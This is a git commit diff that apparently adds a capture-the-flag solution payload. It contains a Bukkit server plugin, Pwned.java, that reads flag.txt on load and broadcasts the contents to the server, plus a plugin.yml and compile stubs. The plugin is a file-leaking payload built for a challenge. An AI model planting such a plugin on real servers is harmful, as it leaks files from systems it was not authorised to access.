Init. Commit

finals/syktyvkar/solve/payload/Pwned.java

@@ -0,0 +1,20 @@
+package pwn;
+
+import org.bukkit.Bukkit;
+import org.bukkit.plugin.java.JavaPlugin;
+
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+public final class Pwned extends JavaPlugin {
+    @Override
+    public void onEnable() {
+        try {
+            String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
+            Bukkit.broadcastMessage("[PWN] " + flag);
+        } catch (Exception exception) {
+            Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
+        }
+    }
+}

finals/syktyvkar/solve/payload/plugin.yml

@@ -0,0 +1,4 @@
+name: Pwned
+version: 1.0.0
+main: pwn.Pwned
+api-version: "1.16"

finals/syktyvkar/solve/payload/stubs/org/bukkit/Bukkit.java

@@ -0,0 +1,7 @@
+package org.bukkit;
+
+public final class Bukkit {
+    public static int broadcastMessage(String message) {
+        return 0;
+    }
+}

finals/syktyvkar/solve/payload/stubs/org/bukkit/plugin/java/JavaPlugin.java

@@ -0,0 +1,12 @@
+package org.bukkit.plugin.java;
+
+public class JavaPlugin {
+    public void onLoad() {
+    }
+
+    public void onEnable() {
+    }
+
+    public void onDisable() {
+    }
+}